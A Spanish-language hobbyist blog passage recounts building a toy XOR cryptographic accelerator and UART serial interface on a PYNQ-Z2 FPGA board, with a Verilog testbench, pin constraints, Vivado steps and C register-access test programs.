En realidad hice una simulación, cuando le bajé a 8 para no tener que esperar 870 ciclos para cada bit y ví que funcionaba, comprendí el error:



`timescale 1ns/1ps

module uart_testbench;
  reg simul_Clock;
  reg send;
  wire active;
  wire done;
  wire tx;

localparam char = 8'b10100011;

  initial begin
    simul_Clock = 1'b0;
    forever simul_Clock = #2.5 ~simul_Clock;
  end

  initial begin
    send = 1'b0;
    #100 send = 1'b1;
    #10 send = 1'b0;
   
  end

  initial begin
    repeat(64) @(negedge simul_Clock);
    $finish;
  end

uart_tx uart_tx(
   .i_Clock(simul_Clock),
   .i_Tx_DV(send),
   .i_Tx_Byte(char),
   .o_Tx_Active(active),
   .o_Tx_Serial(tx),
   .o_Tx_Done(done)
);

endmodule



Simulación de UART_Tx
Simulación de UART_Tx

Se vé bien clarito como el send pone en active, manda el start bit y al finalizar el stop bit y pasa a done.

 

Cuando comparta el código en github, va a estar en la carpeta uart_tx.


Finalmente, a la 1:am, a sólo 16 horas de la demo, por que todo esto es para H4CK3D 2020, tras lidiar y renegar con unas señales, logré que:

 

Entra "aaaa", sale "dddd"
Entra "aaaa", sale "dddd"



Tanto en un pin como en un led, la última letra del cleartext
Tanto en un pin como en un led, la última letra del cleartext


 

Para ahorrarme trabajo sólo estoy enviando la última letra de cada bloque, quizás en algún momento lo mejore. Tampoco se está mostrando las señales de done y send, igual no eran parte del objetivo, sólo diagnóstico, si el cyan que es active.

Sólo me faltaría el circuito para tomar esa señal desde el led en lugar del pin.


Este es el diseño final:


Diseño final
Diseño final



Quedan mucho ajustes por hacer, como el rango de la memoria ocupada, comprobar que los tiempos y consumos estén ok, comprender y mejorar la organización de los proyectos,  y además muchos componentes y recursos por usar, tengo la sensación de haber llegado a un 1% o menos de comprensión/conocimiento/experiencia con este tema, me siento como hace mucho tiempo cuando hice

10 print "hola"
20 goto 10
run

2020/11/08

PYNQ con acelerador y serial

Si venís leyendo como generé el hardware y software para tener que la CPU del zynq-7020 de la PYNQ tuviera una terminal serial primero y luego un acelerador criptográfico de juguete luego y más si leiste la intro, no te sorprenderá que ahora quiera mezclar la cosas.

En este paso lo que haré será dejar el sistema, llamemoslo "legítimo" funcionando. Esto es, desde la PC me comunico por serial con la PYNQ que hace el cifrado y me lo devuelve. Vendría a ser un acelerador criptográfico remoto.

 

Para darle más sabor, en lugar de hacer todo a la vez, voy a agregar primero el puerto serial y luego el acelerador, pero en lugar de ir haciendo proyectos separados, los voy a ir modificando asi vemos como cambiar un proyecto. Es más, en la primera versión ya va hacer el cifrado, pero por software.


Creo el proyecto y lo pongo una uartlite, eso está suficientemente explicado o al menos relatado en las entradas anteriores pero me gusta escribir, la repetición forma parte del aprendizaje.



El serial


  • File -> Project -> New
  • IP INTEGRATOR -> Create Block Design
  • Add IP -> ZYNQ -> Run Block Automation
  • Add IP -> Uartlite -> Run Connection Automation -> S_AXI
  • axi_uartlite_0 -> UART -> expand
  • rx -> botón derecho -> make external (tomar nota del nombre del pin)
  • tx -> botón derecho -> make external (tomar nota del nombre del pin)
  • Sources -> + -> Add or create constraints -> pynq-z2_v1.0.xdc
  • Usar los nombres anotados en el xdc

 
##Arduino Digital I/O 
 
set_property -dict { PACKAGE_PIN T14   IOSTANDARD LVCMOS33 } [get_ports { tx_0 }]; #IO_L5P_T0_34 Sch=ar[0]
set_property -dict { PACKAGE_PIN U12   IOSTANDARD LVCMOS33 } [get_ports { rx_0 }]; #IO_L2N_T0_34 Sch=ar[1]


  • File -> Save Block Design
  • Tools -> Validate
  • Sources -> Design Sources -> remote accelerator -> botón derecho -> Create HDL Wrapper
  • PROGRAM AND DEBUG -> Generate Bitstream
  • File -> Export -> Export Hardware -> include bitstream
  • File -> Launch SDK
  • File -> New -> Application Project
  • Templates -> Empty Application
  • Project Explorer -> remote_accelerator -> src -> new -> file -> main.c

A main.c le pegamos el código de lo hecho en una terminal serial y le agregamos la aceleración por software, o sea, data ^= 3;

 

Aceleración por software
Aceleración por software

 


Si te preguntás de dónde sale XPAR_UARTLITE_0_BASEADDR, es de  

/remote_accelerator_bsp/ps7_cortexa9_0/include/xparameters.h

y debe coincidir con axi_uartlite_0 de system.hdf


Volvés un momento a Vivado

  • PROGRAM AND DEBUG
    • Open Hardware Manager
      • Open Target
      • Auto Connect
    • Program Device

 

Regresás a SDK 

  • Project Explorer -> botón derecho -> Run As -> Launch on Hardware (GDB)

 

Abrís una terminal a un adaptador USB-UART/TTL que esté correctamente conectado a los puertos Arduino de la PYNQ, tipeas "abcd " y te va respondiendo:

 

Aceleración por software
Aceleración por software


Lista una parte, es un buen momento para cerrar todo y versionar.

 

El acelerador

 

Ahora tendría que abrir el diseño del bloque (Open Block Design) para agregar el acelerador, pero es parte de otro proyecto, no se vé desde acá, antes hay que descubrir como traspasarlo.


Settings -> IP -> Repository -> buscar la carpeta "IP Repo"

 

Repositorio de usuario agregado
Repositorio de usuario agregado

Luego arrastrás accelerator_xor al Diagrama, "Run Connection Automation", es casi vergonzoso lo fácil que resulta.



Diagrama completo
Diagrama completo

  • File -> Save Block Design
  • Tools -> Validate Design
  • PROGRAM AND DEBUG -> Generate Bitstream
  • File -> Export Hardware -> include bitstream
  • File -> Launch SDK


Si miramos el system.hdf, veremos ahora dos direcciones para nuestros dispositivos:

 

Los dos dispositivos
Los dos dispositivos


El código final
El código final


La interacción con el acelerador:

 

Interacción con acelerador
Interacción con acelerador



 a  b  c  d     caracter entrada
61 62 63 64     código ascii entrada

05 05 05 05     exor

64 67 66 61
     código ascii salida
 d  g  f  a
     caracter salida


 0  1  2  3
     caracter entrada
30 31 32 33
     código ascii entrada

05 05 05 05     exor

35 34 37 36
     código ascii salida
 5  4  7  6    
caracter salida

 

 Y las cuentas comprobadas:

 

La cuentas
La cuentas

 

 

Notarás que aunque de alguna manera está haciendo cifrado por bloques, como puse 0x05050505 como key es como si hiciera cifrado por caracteres.

PYNQ con acelerador

En pocas palabras para no repetir lo dicho antes:

 

Necesito hacer un acelerador criptográfico en la PL (Programmable Logic) de un Zynq-7020 (PYNQ en particular) accesible desde un programa que se ejecute en el PS (Processing System) o como todos le conocemos, CPU.

Ya había logrado usar IP (la forma en que llaman a los componentes en este mundo), en particular dos UARTs. Ahora quiero hacer mi propia IP y que haga un cirfrado sencillo.

No voy a apoyarme en una experiencia anterior con Parallella sino en los ejercicios del libro comentado que he estudiado.

 

Estos proyectos están a la par de los dos proyectos "serial" y "dual-serial"  y también lo construiré de cero sin ninguna dependencia cruzada para evitar complicaciones, apuntando a las siguientes hitos:


  • Acelerador echo: que me devuelva lo que escribo.
  • Acelerador xor: que calcule el xor de dos argumentos en un tercero.

 

 

Acelerador con eco 


Manos a la obra, esta parte es común a todos los proyectos anteriores:

  • Create Project
  • RTL Project
  • Target Language Verilog
  • Skip add files
  • Skip add constraints
  • Default Part
  • Boards
  • Seleccionar pynq-z2
  • Agregar el xdc, que es el mapeo de los pines a la FPGA

 

Acá empieza la diferencia, crear el IP

  • Tools -> Create and Package New IP
  • Create a new AXI4 peripheral
  • Name, version, etc...
  • Next Steps -> Edit IP
  • Finish

 

Ahora se pone delicado, hay que buscar el archivo que te creó y al final hay un comentario que dice "Add user logic here", nada por ahora.


Edición del acelerador
Edición del acelerador




Más arriba, buscando "slv_reg0" encontras los nombres de los registros para comunicarte con la CPU. Son todos de 32 bits.

Voy a usar

  • slv_reg0 como clave
  • slv_reg1 como input
  • slv_reg2 como output 
  • slv_reg3 como contador, ya que está...

 


Lo primero que tengo que hacer es que me funcione como memoria, o sea, escribo algo y luego lo vuelvo a leer. Si está ok, estamos encaminados, sigamos entonces.

Hay que ir al tab:

  • Package IP - accelerator
 Abajo de todo va a estar

  • Re-Package IP

 

Listo, cerró, volvemos al proyecto original.

  • Create Block Design
  • Add IP
  • Zynq
  • run block automation 
  • Add IP
  • Buscar el nombre, en este caso accelerator
  • run connection automation
  • Save Block Design
  • Tools -> Validate
  • Sources -> Design Sources -> tu proyecto -> botón derecho -> Create HDL Wrapper
  • Generate bitstream
  • File -> Export Hardware
    • include bitstream
  • File -> Launch SDK

 

Lo que queda es puro software

  • File -> New -> Application Project
  • Templates -> Empty

 

Para encontrar la dirección del acelerador, hay que mirar system.hdf:


Dirección del acelerador
Dirección del acelerador

 

Con este sencillo programa pruebo que funciona, lo que escribo lo puedo volver a leer:

 

#include <stdio.h>
#include "xil_printf.h"
#include "xil_io.h"

#define BaseAddress    0x43c00000
#define REG_KEY        0
#define REG_CLEARTEXT  4
#define REG_CIPHERTEXT 8


int main() {
  u32 key;
  u32 clearText;
  u32 cipherText;

  xil_printf("Accelerator\n\r");
  for (u32 i=0; i< 255; ++i) {
    key        = Xil_In32(BaseAddress + REG_KEY);
    clearText  = Xil_In32(BaseAddress + REG_CLEARTEXT);
    cipherText = Xil_In32(BaseAddress + REG_CIPHERTEXT);

    xil_printf("i          : %d\n", i );
    xil_printf("key        : %d\n", key );
    xil_printf("clear text : %d\n", clearText );
    xil_printf("cipher text: %d\n", cipherText );

    Xil_Out32(BaseAddress + REG_KEY, i);
    Xil_Out32(BaseAddress + REG_CLEARTEXT, i);
    Xil_Out32(BaseAddress + REG_CIPHERTEXT, i);
    sleep(5);
  }
  return 0;
}


La ejecución en la terminal:



echo Ok
echo Ok
 

Acelerador XOR

 

Recorrí un tortuoso camino, con muchas pruebas fallidas. Cuando finalmente me rendí y busqué en internet, lo primero que hallé fueron estos minutos de 4 a 8, que tampoco funcionó, hasta que me dí cuenta de mi error:

#define BaseAddress    0x43c0000


¿Lo viste? Me quería matar, bueno, no importa, pensé bastante, el acelerador funciona y recorrí el camino de editar IP y reintegrarlo hasta el aburrimiento. Prometo que voy a hacer un machete de cómo hacer esto, pero despues, en diciembre que ahora estoy hasta las manos.

 

Nota del futuro: el paso anterior de echo también tenía ese problema, pero no se manifestó pues la dirección errónea no coincidió con nada que se pudiera romper. Lo corregí y dió ok.


El código Verilog, en verde mis agregados y modificaciones:


Código Verilog xor
Código Verilog xor

Los dos bloques calculan tanto el xor como el incremento del contador, cuyos registros están conectados a los Out que permanentemente están conectados a los registros 2 y 3. No me gusta mucho pues claramente el contador está contando el clock, no la cantidad de pedidos de cifrado y el exor se hace en cada ciclo de clock, es demasiado veloz, qué pasa si quiero hacer un cifrado de verdad que no llegue a hacerse en tal breve intervalo o si quiero hacer el ataque pensado? Bueno, eso esa el próxima entrega o la siguiente...

 

El programa tal como está ahora:


#include <stdio.h>
#include "xil_printf.h"
#include "xil_io.h"

#define BaseAddress    0x43c00000
#define REG_KEY        0
#define REG_CLEARTEXT  4
#define REG_CIPHERTEXT 8
#define REG_COUNT      12

int main() {
  u32 key;
  u32 clearText;
  u32 cipherText;
  u32 count;

  xil_printf("Accelerator\n\r");

  Xil_Out32(BaseAddress + REG_KEY, 3);

  for (u32 i=0; i< 255; ++i) {
        Xil_Out32(BaseAddress + REG_CLEARTEXT, i);

    key        = Xil_In32(BaseAddress + REG_KEY);
    clearText  = Xil_In32(BaseAddress + REG_CLEARTEXT);
    cipherText = Xil_In32(BaseAddress + REG_CIPHERTEXT);
    count      = Xil_In32(BaseAddress + REG_COUNT);

    xil_printf("i          : 0x%08x\n", i );
    xil_printf("key        : 0x%08x\n", key );
    xil_printf("clear text : 0x%08x\n", clearText );
    xil_printf("cipher text: 0x%08x\n", cipherText );
    xil_printf("count      : 0x%08x\n", count );

    sleep(5);
  }
  return 0;
}

 

Y la salida, comparando con lo esperado en la calculadora:


Ejecución Ok
Ejecución Ok